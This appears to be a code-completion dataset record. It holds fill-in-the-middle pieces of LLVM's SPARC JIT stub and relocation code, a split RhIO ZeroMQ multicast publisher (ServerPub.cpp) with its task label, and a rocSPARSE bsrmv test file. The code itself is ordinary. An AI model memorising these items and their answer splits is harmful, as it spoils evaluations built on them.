"\tldd [" FRAME_PTR(%fp) "-0], %f0\n" "\tldd [" FRAME_PTR(%fp) "-8], %f2\n" "\tldd [" FRAME_PTR(%fp) "-16], %f4\n" "\tldd [" FRAME_PTR(%fp) "-24], %f6\n" "\tldd [" FRAME_PTR(%fp) "-32], %f8\n" "\tldd [" FRAME_PTR(%fp) "-40], %f10\n" "\tldd [" FRAME_PTR(%fp) "-48], %f12\n" "\tldd [" FRAME_PTR(%fp) "-56], %f14\n" "\tldd [" FRAME_PTR(%fp) "-64], %f16\n" "\tldd [" FRAME_PTR(%fp) "-72], %f18\n" "\tldd [" FRAME_PTR(%fp) "-80], %f20\n" "\tldd [" FRAME_PTR(%fp) "-88], %f22\n" "\tldd [" FRAME_PTR(%fp) "-96], %f24\n" "\tldd [" FRAME_PTR(%fp) "-104], %f26\n" "\tldd [" FRAME_PTR(%fp) "-112], %f28\n" "\tldd [" FRAME_PTR(%fp) "-120], %f30\n" "\trestore %o0, 0, %g1\n" "\tjmp %g1\n" "\t nop\n" "\t.size SparcCompilationCallback, .-SparcCompilationCallback" ); #else void SparcCompilationCallback() { llvm_unreachable( "Cannot call SparcCompilationCallback() on a non-sparc arch!"); } #endif } #define SETHI_INST(imm, rd) (0x01000000 | ((rd) << 25) | ((imm) & 0x3FFFFF)) #define JMP_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x38 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define NOP_INST SETHI_INST(0, 0) #define OR_INST_I(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x02 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define OR_INST_R(rs1, rs2, rd) (0x80000000 | ((rd) << 25) | (0x02 << 19) \ | ((rs1) << 14) | (0 << 13) | ((rs2) & 0x1F)) #define RDPC_INST(rd) (0x80000000 | ((rd) << 25) | (0x28 << 19) \ | (5 << 14)) #define LDX_INST(rs1,
case SP::reloc_sparc_pc22: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x3fffff; break; case SP::reloc_sparc_pc19: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x7ffff; break; case SP::reloc_sparc_h44: ResultPtr = (ResultPtr >> 22) & 0x3fffff; break; case SP::reloc_sparc_m44: ResultPtr = (ResultPtr >> 12) & 0x3ff; break; case SP::reloc_sparc_l44: ResultPtr = (ResultPtr & 0xfff); break; case SP::reloc_sparc_hh: ResultPtr = (((int64_t)ResultPtr) >> 42) & 0x3fffff; break; case SP::reloc_sparc_hm: ResultPtr = (((int64_t)ResultPtr) >> 32) & 0x3ff; break; } *((unsigned*) RelocPos) |= (unsigned) ResultPtr; } }
imm, rd) (0xC0000000 | ((rd) << 25) | (0x0B << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define SLLX_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x25 << 19) \ | ((rs1) << 14) | (3 << 12) | ((imm) & 0x3F)) #define SUB_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x04 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define XOR_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x03 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define BA_INST(tgt) (0x10800000 | ((tgt) & 0x3FFFFF)) static void emitInstrForIndirectJump(intptr_t Addr, unsigned scratch, SmallVectorImpl<uint32_t> &Insts) { if (isInt<13>(Addr)) { Insts.push_back(JMP_INST(0, LO10(Addr), scratch)); Insts.push_back(NOP_INST); return; } if (isUInt<32>(Addr)) { Insts.push_back(SETHI_INST(HI22(Addr), scratch)); Insts.push_back(JMP_INST(scratch, LO10(Addr), scratch)); Insts.push_back(SUB_INST(scratch, 4, scratch)); return; } if (Addr < 0 && isInt<33>(Addr)) { Insts.push_back(SETHI_INST(HIX22(Addr), scratch)); Insts.push_back(XOR_INST(scratch, LOX10(Addr), scratch)); Insts.push_back(JMP_INST(scratch, 0, scratch)); Insts.push_back(SUB_INST(scratch, 8, scratch)); return; } Insts.push_back(RDPC_INST(scratch)); Insts.push_back(LDX_INST(scratch, 16, scratch)); Insts.push_back(JMP_INST(scratch, 0, scratch)); Insts.push_back(SUB_INST(scratch, 8, scratch)); Insts.push_back((uint32_t)(((int64_t)Addr) >> 32) & 0xffffffff); Insts.push_back((uint32_t)(Addr & 0xffffffff)); } extern "C" void *SparcCompilationCallbackC(intptr_t StubAddr) { intptr_t NewVal = (intptr_t) JITCompilerFunction((void*) StubAddr); SmallVector<uint32_t, 8> Insts; intptr_t diff = (NewVal - StubAddr) >> 2; if (isInt<22>(diff)) { Insts.push_back(BA_INST(diff)); Insts.push_back(NOP_INST); } else { emitInstrForIndirectJump(NewVal, 1, Insts); } for (unsigned i = 0, e = Insts.size(); i != e; ++i) *(uint32_t *)(StubAddr + i*4) = Insts[i]; sys::Memory::InvalidateInstructionCache((void*) StubAddr, Insts.size() * 4); return (void*)StubAddr; } void SparcJITInfo::replaceMachineCodeForFunction(void *Old, void *New) { llvm_unreachable("FIXME: Implement SparcJITInfo::" "replaceMachineCodeForFunction"); } TargetJITInfo::StubLayout SparcJITInfo::getStubLayout() { StubLayout Result = { 4*4 + 8, 32 }; return Result; } void *SparcJITInfo::emitFunctionStub(const Function *F, void *Fn, JITCodeEmitter &JCE) { JCE.emitAlignment(32); void *Addr = (void*) (JCE.getCurrentPCValue()); intptr_t CurrentAddr = (intptr_t)Addr; intptr_t EmittedAddr; SmallVector<uint32_t, 8> Insts; if (Fn != (void*)(intptr_t)SparcCompilationCallback) { EmittedAddr = (intptr_t)Fn; intptr_t diff = (EmittedAddr - CurrentAddr) >> 2; if (isInt<22>(diff)) { Insts.push_back(BA_INST(diff)); Insts.push_back(NOP_INST); } } else { EmittedAddr = (intptr_t)SparcCompilationCallback; } if (Insts.size() == 0) emitInstrForIndirectJump(EmittedAddr, 1, Insts); if (!sys::Memory::setRangeWritable(Addr, 4 * Insts.size())) llvm_unreachable("ERROR: Unable to mark stub writable."); for (unsigned i = 0, e = Insts.size(); i != e; ++i) JCE.emitWordBE(Insts[i]); sys::Memory::InvalidateInstructionCache(Addr, 4 * Insts.size()); if (!sys::Memory::setRangeExecutable(Addr, 4 * Insts.size())) llvm_unreachable("ERROR: Unable to mark stub executable."); return Addr; } TargetJITInfo::LazyResolverFn SparcJITInfo::getLazyResolverFunction(JITCompilerFn F) { JITCompilerFunction = F; return SparcCompilationCallback; } void SparcJITInfo::relocate(void *Function, MachineRelocation *MR, unsigned NumRelocs, unsigned char *GOTBase) { for (unsigned i = 0; i != NumRelocs; ++i, ++MR) { void *RelocPos = (char*) Function + MR->getMachineCodeOffset(); intptr_t ResultPtr = (intptr_t) MR->getResultPointer(); switch ((SP::RelocationType) MR->getRelocationType()) { case SP::reloc_sparc_hi: ResultPtr = (ResultPtr >> 10) & 0x3fffff; break; case SP::reloc_sparc_lo: ResultPtr = (ResultPtr & 0x3ff); break; case SP::reloc_sparc_pc30: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x3fffffff; break;
random
[]
C++
Server/src/ServerPub.cpp
ipab-slmc/RhIO
45f5440a745d5ae9b256335a78ded799d3a02d4d
#include "rhio_server/ServerPub.hpp" #include "rhio_common/Protocol.hpp" #include "rhio_common/DataBuffer.hpp" namespace RhIO { ServerPub::ServerPub(std::string endpoint) : _context(1), _socket(_context, ZMQ_RADIO), _bufferBool(10000), _bufferInt(10000), _bufferFloat(10000), _bufferStr(10000), _bufferStream(10000), _isWritingTo1(true), _queue1Frame(), _queue2Frame(), _mutexQueueFrame() { if (endpoint == "") { std::stringstream ss; ss << "udp://" << AddressMulticast << ":" << PortServerPub; endpoint = ss.str(); } _socket.connect(endpoint.c_str()); } void ServerPub::publishBool(const std::string& name, bool val, int64_t timestamp) { _bufferBool.appendFromWriter({name, val, timestamp}); } void ServerPub::publishInt(const std::string& name, int64_t val, int64_t timestamp) { _bufferInt.appendFromWriter({name, val, timestamp}); } void ServerPub::publishFloat(const std::string& name, double val, int64_t timestamp) { _bufferFloat.appendFromWriter({name, val, timestamp}); } void ServerPub::publishStr(const std::string& name, const std::string& val, int64_t timestamp) { _bufferStr.appendFromWriter({name, val, timestamp}); } void ServerPub::publishStream(const std::string& name, const std::string& val, int64_t timestamp) { _bufferStream.appendFromWriter({name, val, timestamp}); } void ServerPub::publishFrame(const std::string& name, size_t width, size_t height, unsigned char* data, size_t size, int64_t timestamp) { std::lock_guard<std::mutex> lock(_mutexQueueFrame); if (_isWritingTo1) { _queue1Frame.clear(); _queue1Frame.push_back(zmq::message_t( sizeof(MsgType) + sizeof(int64_t) + name.length() + 4*sizeof(int64_t) + size )); DataBuffer pub(_queue1Frame.back().data(), _queue1Frame.back().size()); pub.writeType(MsgStreamFrame); pub.writeStr(name); pub.writeInt(timestamp); pub.writeInt((uint64_t)width); pub.writeInt((uint64_t)height); pub.writeData(data, size); } else { _queue2Frame.clear(); _queue2Frame.push_back(zmq::message_t( sizeof(MsgType) + sizeof(int64_t) + name.length() + 4*sizeof(int64_t) + size )); DataBuffer pub(_queue2Frame.back().data(), _queue2Frame.back().size()); pub.writeType(MsgStreamFrame); pub.writeStr(name); pub.writeInt(timestamp); pub.writeInt((uint64_t)width); pub.writeInt((uint64_t)height); pub.writeData(data, size); } } void ServerPub::sendToClient() { swapBuffer(); const std::vector<PubValBool>& bufBool = _bufferBool.getBufferFromReader(); size_t sizeBool = _bufferBool.getSizeFromReader(); const std::vector<PubValInt>& bufInt = _bufferInt.getBufferFromReader(); size_t sizeInt = _bufferInt.getSizeFromReader(); const std::vector<PubValFloat>& bufFloat = _bufferFloat.getBufferFromReader(); size_t sizeFloat = _bufferFloat.getSizeFromReader(); const std::vector<PubValStr>& bufStr = _bufferStr.getBufferFromReader(); size_t sizeStr = _bufferStr.getSizeFromReader(); const std::vector<PubValStr>& bufStream = _bufferStream.getBufferFromReader(); size_t sizeStream = _bufferStream.getSizeFromReader(); std::list<zmq::message_t>& queueFrame = (_isWritingTo1) ? _queue2Frame : _queue1Frame; for (size_t i=0;i<sizeBool;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufBool[i].name.length() + sizeof(int64_t) + sizeof(uint8_t)); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamBool); pub.writeStr(bufBool[i].name); pub.writeInt(bufBool[i].timestamp); pub.writeBool(bufBool[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeInt;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufInt[i].name.length() + sizeof(int64_t) + sizeof(int64_t)); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamInt); pub.writeStr(bufInt[i].name); pub.writeInt(bufInt[i].timestamp); pub.writeInt(bufInt[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeFloat;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufFloat[i].name.length() + sizeof(int64_t) + sizeof(double)); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamFloat); pub.writeStr(bufFloat[i].name); pub.writeInt(bufFloat[i].timestamp); pub.writeFloat(bufFloat[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeStr;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufStr[i].name.length() + sizeof(int64_t) + sizeof(int64_t) + bufStr[i].value.length()); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamStr); pub.writeStr(bufStr[i].name); pub.writeInt(bufStr[i].timestamp); pub.writeStr(bufStr[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeStream;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufStream[i].name.length() + sizeof(int64_t) + sizeof(int64_t) + bufStream[i].value.length()); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamStream); pub.writeStr(bufStream[i].name); pub.writeInt(bufStream[i].timestamp); pub.writeStr(bufStream[i].value); packet.set_group("rhio"); _socket.send(packet); } while (!queueFrame.empty()) { queueFrame.front().set_group("rhio"); _socket.send(queueFrame.front()); queueFrame.pop_front(); } } void ServerPub::swapBuffer() { _bufferBool.swapBufferFromReader(); _bufferInt.swapBufferFromReader(); _bufferFloat.swapBufferFromReader(); _bufferStr.swapBufferFromReader(); _bufferStream.swapBufferFromReader(); std::lock_guard<std::mutex> lockFrame(_mutexQueueFrame); _isWritingTo1 = !_isWritingTo1; } }
#include "rhio_server/ServerPub.hpp" #include "rhio_common/Protocol.hpp" #include "rhio_common/DataBuffer.hpp" namespace RhIO { ServerPub::ServerPub(std::string endpoint) : _context(1), _socket(_context, ZMQ_RADIO), _
void ServerPub::publishBool(const std::string& name, bool val, int64_t timestamp) { _bufferBool.appendFromWriter({name, val, timestamp}); } void ServerPub::publishInt(const std::string& name, int64_t val, int64_t timestamp) { _bufferInt.appendFromWriter({name, val, timestamp}); } void ServerPub::publishFloat(const std::string& name, double val, int64_t timestamp) { _bufferFloat.appendFromWriter({name, val, timestamp}); } void ServerPub::publishStr(const std::string& name, const std::string& val, int64_t timestamp) { _bufferStr.appendFromWriter({name, val, timestamp}); } void ServerPub::publishStream(const std::string& name, const std::string& val, int64_t timestamp) { _bufferStream.appendFromWriter({name, val, timestamp}); } void ServerPub::publishFrame(const std::string& name, size_t width, size_t height, unsigned char* data, size_t size, int64_t timestamp) { std::lock_guard<std::mutex> lock(_mutexQueueFrame); if (_isWritingTo1) { _queue1Frame.clear(); _queue1Frame.push_back(zmq::message_t( sizeof(MsgType) + sizeof(int64_t) + name.length() + 4*sizeof(int64_t) + size )); DataBuffer pub(_queue1Frame.back().data(), _queue1Frame.back().size()); pub.writeType(MsgStreamFrame); pub.writeStr(name); pub.writeInt(timestamp); pub.writeInt((uint64_t)width); pub.writeInt((uint64_t)height); pub.writeData(data, size); } else { _queue2Frame.clear(); _queue2Frame.push_back(zmq::message_t( sizeof(MsgType) + sizeof(int64_t) + name.length() + 4*sizeof(int64_t) + size )); DataBuffer pub(_queue2Frame.back().data(), _queue2Frame.back().size()); pub.writeType(MsgStreamFrame); pub.writeStr(name); pub.writeInt(timestamp); pub.writeInt((uint64_t)width); pub.writeInt((uint64_t)height); pub.writeData(data, size); } } void ServerPub::sendToClient() { swapBuffer(); const std::vector<PubValBool>& bufBool = _bufferBool.getBufferFromReader(); size_t sizeBool = _bufferBool.getSizeFromReader(); const std::vector<PubValInt>& bufInt = _bufferInt.getBufferFromReader(); size_t sizeInt = _bufferInt.getSizeFromReader(); const std::vector<PubValFloat>& bufFloat = _bufferFloat.getBufferFromReader(); size_t sizeFloat = _bufferFloat.getSizeFromReader(); const std::vector<PubValStr>& bufStr = _bufferStr.getBufferFromReader(); size_t sizeStr = _bufferStr.getSizeFromReader(); const std::vector<PubValStr>& bufStream = _bufferStream.getBufferFromReader(); size_t sizeStream = _bufferStream.getSizeFromReader(); std::list<zmq::message_t>& queueFrame = (_isWritingTo1) ? _queue2Frame : _queue1Frame; for (size_t i=0;i<sizeBool;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufBool[i].name.length() + sizeof(int64_t) + sizeof(uint8_t)); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamBool); pub.writeStr(bufBool[i].name); pub.writeInt(bufBool[i].timestamp); pub.writeBool(bufBool[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeInt;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufInt[i].name.length() + sizeof(int64_t) + sizeof(int64_t)); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamInt); pub.writeStr(bufInt[i].name); pub.writeInt(bufInt[i].timestamp); pub.writeInt(bufInt[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeFloat;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufFloat[i].name.length() + sizeof(int64_t) + sizeof(double)); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamFloat); pub.writeStr(bufFloat[i].name); pub.writeInt(bufFloat[i].timestamp); pub.writeFloat(bufFloat[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeStr;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufStr[i].name.length() + sizeof(int64_t) + sizeof(int64_t) + bufStr[i].value.length()); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamStr); pub.writeStr(bufStr[i].name); pub.writeInt(bufStr[i].timestamp); pub.writeStr(bufStr[i].value); packet.set_group("rhio"); _socket.send(packet); } for (size_t i=0;i<sizeStream;i++) { zmq::message_t packet( sizeof(MsgType) + sizeof(int64_t) + bufStream[i].name.length() + sizeof(int64_t) + sizeof(int64_t) + bufStream[i].value.length()); DataBuffer pub(packet.data(), packet.size()); pub.writeType(MsgStreamStream); pub.writeStr(bufStream[i].name); pub.writeInt(bufStream[i].timestamp); pub.writeStr(bufStream[i].value); packet.set_group("rhio"); _socket.send(packet); } while (!queueFrame.empty()) { queueFrame.front().set_group("rhio"); _socket.send(queueFrame.front()); queueFrame.pop_front(); } } void ServerPub::swapBuffer() { _bufferBool.swapBufferFromReader(); _bufferInt.swapBufferFromReader(); _bufferFloat.swapBufferFromReader(); _bufferStr.swapBufferFromReader(); _bufferStream.swapBufferFromReader(); std::lock_guard<std::mutex> lockFrame(_mutexQueueFrame); _isWritingTo1 = !_isWritingTo1; } }
bufferBool(10000), _bufferInt(10000), _bufferFloat(10000), _bufferStr(10000), _bufferStream(10000), _isWritingTo1(true), _queue1Frame(), _queue2Frame(), _mutexQueueFrame() { if (endpoint == "") { std::stringstream ss; ss << "udp://" << AddressMulticast << ":" << PortServerPub; endpoint = ss.str(); } _socket.connect(endpoint.c_str()); }
function_block-function_prefix_line
[ { "content": "struct is_placeholder<RhIO::placeholder_custom<N>> \n\n : integral_constant<int, N+1> {};\n\n\n\n/**\n\n * Overloading standart to_string\n\n * with dummy string conversion\n\n */\n\ninline string to_string(const string& str)\n\n{\n\n return str;\n\n}\n\n\n\n}\n\n\n\nnamespace RhIO {\n\n\n\n...
C++
clients/testings/testing_bsrmv.cpp
scchan/rocSPARSE
6efc875765236a91d6b07ef42446b1b46de661e0
#include "testing.hpp" #include "rocsparse_enum.hpp" #include "auto_testing_bad_arg.hpp" template <typename T> void testing_bsrmv_bad_arg(const Arguments& arg) { static const size_t safe_size = 10; const T h_alpha = static_cast<T>(1); const T h_beta = static_cast<T>(1); rocsparse_local_handle local_handle; rocsparse_local_mat_descr local_descr; rocsparse_handle handle = local_handle; rocsparse_direction dir = rocsparse_direction_column; rocsparse_operation trans = rocsparse_operation_none; rocsparse_int mb = safe_size; rocsparse_int nb = safe_size; rocsparse_int nnzb = safe_size; const T* alpha_device_host = (const T*)&h_alpha; const rocsparse_mat_descr descr = local_descr; const T* bsr_val = (const T*)0x4; const rocsparse_int* bsr_row_ptr = (const rocsparse_int*)0x4; const rocsparse_int* bsr_col_ind = (const rocsparse_int*)0x4; rocsparse_int bsr_dim = safe_size; const T* x = (const T*)0x4; const T* beta_device_host = (const T*)&h_beta; T* y = (T*)0x4; #define PARAMS \ handle, dir, trans, mb, nb, nnzb, alpha_device_host, descr, bsr_val, bsr_row_ptr, bsr_col_ind, \ bsr_dim, x, beta_device_host, y auto_testing_bad_arg(rocsparse_bsrmv<T>, PARAMS); { auto tmp = trans; trans = rocsparse_operation_transpose; EXPECT_ROCSPARSE_STATUS(rocsparse_bsrmv<T>(PARAMS), rocsparse_status_not_implemented); trans = tmp; } for(auto matrix_type : rocsparse_matrix_type_t::values) { if(matrix_type != rocsparse_matrix_type_general) { CHECK_ROCSPARSE_ERROR(rocsparse_set_mat_type(descr, matrix_type)); EXPECT_ROCSPARSE_STATUS(rocsparse_bsrmv<T>(PARAMS), rocsparse_status_not_implemented); } } #undef PARAMS } template <typename T> void testing_bsrmv(const Arguments& arg) { rocsparse_int M = arg.M; rocsparse_int N = arg.N; rocsparse_direction dir = arg.direction; rocsparse_operation trans = arg.transA; rocsparse_index_base base = arg.baseA; rocsparse_int bsr_dim = arg.block_dim; host_scalar<T> h_alpha(arg.get_alpha<T>()), h_beta(arg.get_beta<T>()); rocsparse_local_handle handle; rocsparse_local_mat_descr descr; CHECK_ROCSPARSE_ERROR(rocsparse_set_mat_index_base(descr, base)); rocsparse_int mb = (bsr_dim > 0) ? (M + bsr_dim - 1) / bsr_dim : 0; rocsparse_int nb = (bsr_dim > 0) ? (N + bsr_dim - 1) / bsr_dim : 0; #define PARAMS(alpha_, A_, x_, beta_, y_) \ handle, A_.block_direction, trans, A_.mb, A_.nb, A_.nnzb, alpha_, descr, A_.val, A_.ptr, \ A_.ind, A_.row_block_dim, x_, beta_, y_ if(mb <= 0 || nb <= 0 || M <= 0 || N <= 0 || bsr_dim <= 0) { device_gebsr_matrix<T> dA; dA.block_direction = dir; dA.mb = mb; dA.nb = nb; dA.nnzb = 10; dA.row_block_dim = bsr_dim; dA.col_block_dim = bsr_dim; device_dense_matrix<T> dx; device_dense_matrix<T> dy; CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_host)); EXPECT_ROCSPARSE_STATUS(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy)), (mb < 0 || nb < 0 || bsr_dim < 0) ? rocsparse_status_invalid_size : rocsparse_status_success); return; } int dev; hipGetDevice(&dev); hipDeviceProp_t prop; hipGetDeviceProperties(&prop, dev); bool type = (prop.warpSize == 32) ? (arg.timing ? false : true) : false; static constexpr bool full_rank = false; rocsparse_matrix_factory<T> matrix_factory(arg, type, full_rank); host_gebsr_matrix<T> hA; device_gebsr_matrix<T> dA; matrix_factory.init_bsr(hA, dA, mb, nb); M = dA.mb * dA.row_block_dim; N = dA.nb * dA.col_block_dim; host_dense_matrix<T> hx(N, 1), hy(M, 1); rocsparse_matrix_utils::init(hx); rocsparse_matrix_utils::init(hy); device_dense_matrix<T> dx(hx), dy(hy); if(arg.unit_check) { CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_host)); CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy))); { host_dense_matrix<T> hy_copy(hy); host_bsrmv<T>(dir, trans, hA.mb, hA.nb, hA.nnzb, *h_alpha, hA.ptr, hA.ind, hA.val, hA.row_block_dim, hx, *h_beta, hy, base); hy.near_check(dy); dy.transfer_from(hy_copy); } CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_device)); device_scalar<T> d_alpha(h_alpha), d_beta(h_beta); CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(d_alpha, dA, dx, d_beta, dy))); hy.near_check(dy); } if(arg.timing) { int number_cold_calls = 2; int number_hot_calls = arg.iters; CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_host)); for(int iter = 0; iter < number_cold_calls; ++iter) { CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy))); } double gpu_time_used = get_time_us(); for(int iter = 0; iter < number_hot_calls; ++iter) { CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy))); } gpu_time_used = (get_time_us() - gpu_time_used) / number_hot_calls; double gflop_count = spmv_gflop_count( M, dA.nnzb * dA.row_block_dim * dA.col_block_dim, *h_beta != static_cast<T>(0)); double gbyte_count = bsrmv_gbyte_count<T>( dA.mb, dA.nb, dA.nnzb, dA.row_block_dim, *h_beta != static_cast<T>(0)); double gpu_gflops = get_gpu_gflops(gpu_time_used, gflop_count); double gpu_gbyte = get_gpu_gbyte(gpu_time_used, gbyte_count); display_timing_info("M", M, "N", N, "BSR dim", dA.row_block_dim, "dir", rocsparse_direction2string(dA.block_direction), "alpha", *h_alpha.val, "beta", *h_beta.val, "GFlop/s", gpu_gflops, "GB/s", gpu_gbyte, "msec", get_gpu_time_msec(gpu_time_used), "iter", number_hot_calls, "verified", (arg.unit_check ? "yes" : "no")); } #undef PARAMS } #define INSTANTIATE(TYPE) \ template void testing_bsrmv_bad_arg<TYPE>(const Arguments& arg); \ template void testing_bsrmv<TYPE>(const Arguments& arg) INSTANTIATE(float); INSTANTIATE(double); INSTANTIATE(rocsparse_float_complex); INSTANTIATE(rocsparse_double_complex);
#include "testing.hpp" #include "rocsparse_enum.hpp" #include "auto_testing_bad_arg.hpp" template <typename T> void testing_bsrmv_bad_arg(const Arguments& arg) { static const size_t safe_size = 10; const T h_alpha = static_cast<T>(1); const T h_beta = static_cast<T>(1); rocsparse_local_handle local_handle; rocsparse_local_mat_descr local_descr; rocsparse_handle handle = local_handle; rocsparse_direction dir = rocsparse_direction_column; rocsparse_operation trans = rocsparse_operation_none; rocsparse_int mb = safe_size; rocsparse_int nb = safe_size; rocsparse_int nnzb = safe_size; const T* alpha_device_host = (const T*)&h_alpha; const rocsparse_mat_descr descr = local_descr; const T* bsr_val = (const T*)0x4; const rocsparse_int* bsr_row_ptr = (const rocsparse_int*)0x4; const rocsparse_int* bsr_col_ind = (const rocsparse_int*)0x4; rocsparse_int bsr_dim = safe_size; const T* x = (const T*)0x4; const T* beta_device_host = (const T*)&h_beta; T* y = (T*)0x4; #define PARAMS \ handle, dir, trans, mb, nb, nnzb, alpha_device_host, descr, bsr_val, bsr_row_ptr, bsr_col_ind, \ bsr_dim, x, beta_device_host, y auto_testing_bad_arg(rocsparse_bsrmv<T>, PARAMS); { auto tmp = trans; trans = rocsparse_operation_transpose; EXPECT_ROCSPARSE_STATUS(rocsparse_bsrmv<T>(PARAMS), rocsparse_status_not_implemented); trans = tmp; } for(auto matrix_type : rocsparse_matrix_type_t::values) { if(matrix_type != rocsparse_matrix_type_general) { CHECK_ROCSPARSE_ERROR(rocsparse_set_mat_type(descr, matrix_type)); EXPECT_ROCSPARSE_STATUS(rocsparse_bsrmv<T>(PARAMS), rocsparse_status_not_implemented); } } #undef PARAMS } template <typename T> void testing_bsrmv(const Arguments& arg) { rocsparse_int M = arg.M; rocsparse_int N = arg.N; rocsparse_direction dir = arg.direction; rocsparse_operation trans = arg.transA; rocsparse_index_base base = arg.baseA; rocsparse_int bsr_dim = arg.block_dim; host_scalar<T> h_alpha(arg.get_alpha<T>()), h_beta(arg.get_beta<T>()); rocsparse_local_handle handle; rocsparse_local_mat_descr descr; CHECK_ROCSPARSE_ERROR(rocsparse_set_mat_index_base(descr, base)); rocsparse_int mb = (bsr_dim > 0) ? (M + bsr_dim - 1) / bsr_dim : 0; rocsparse_int nb = (bsr_dim > 0) ? (N + bsr_dim - 1) / bsr_dim : 0; #define PARAMS(alpha_, A_, x_, beta_, y_) \ handle, A_.block_direction, trans, A_.mb, A_.nb, A_.nnzb, alpha_, descr, A_.val, A_.ptr, \ A_.ind, A_.row_block_dim, x_, beta_, y_ if(mb <= 0 || nb <= 0 || M <= 0 || N <= 0 || bsr_dim <= 0) { device_gebsr_matrix<T> dA; dA.block_direction = dir; dA.mb = mb; dA.nb = nb; dA.nnzb = 10; dA.row_block_dim = bsr_dim; dA.col_block_dim = bsr_dim; device_dense_matrix<T> dx; device_dense_matrix<T> dy; CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_host)); EXPECT_ROCSPARSE_STATUS(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy)), (mb < 0 || nb < 0 || bsr_dim < 0) ? rocsparse_status_invalid_size : rocsparse_status_success); return; } int dev; hipGetDevice(&dev); hipDeviceProp_t prop; hipGetDeviceProperties(&prop, dev); bool type = (prop.warpSize == 32) ? (arg.timing ? false : true) : false; static constexpr bool full_rank = false; rocsparse_matrix_factory<T> matrix_factory(arg, type, full_rank); host_gebsr_matrix<T> hA; device_gebsr_matrix<T> dA; matrix_factory.init_bsr(hA, dA, mb, nb); M = dA.mb * dA.row_block_dim; N = dA.nb * dA.col_block_dim; host_dense_matrix<T> hx(N, 1), hy(M, 1); rocsparse_matrix_utils::init(hx); rocsparse_matrix_utils::init(hy); device_dense_matrix<T> dx(hx), dy(hy); if(arg.unit_check) { CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_host)); CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy))); { host_dense_matrix<T> hy_copy(hy); host_bsrmv<T>(dir, trans, hA.mb, hA.nb, hA.nnzb, *h_alpha, hA.ptr, hA.ind, hA.val, hA.row_block_dim, hx, *h_beta, hy, base); hy.near_check(dy); dy.transfer_from(hy_copy); } CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_device)); device_scalar<T> d_alpha(h_alpha), d_beta(h_beta); CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(d_alpha, dA, dx, d_beta, dy))); hy.near_check(dy); } if(arg.timing) { int number_cold_calls = 2; int number_hot_calls = arg.iters; CHECK_ROCSPARSE_ERROR(rocsparse_set_pointer_mode(handle, rocsparse_pointer_mode_host)); for(int iter = 0; iter < number_cold_calls; ++iter) { CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy)));
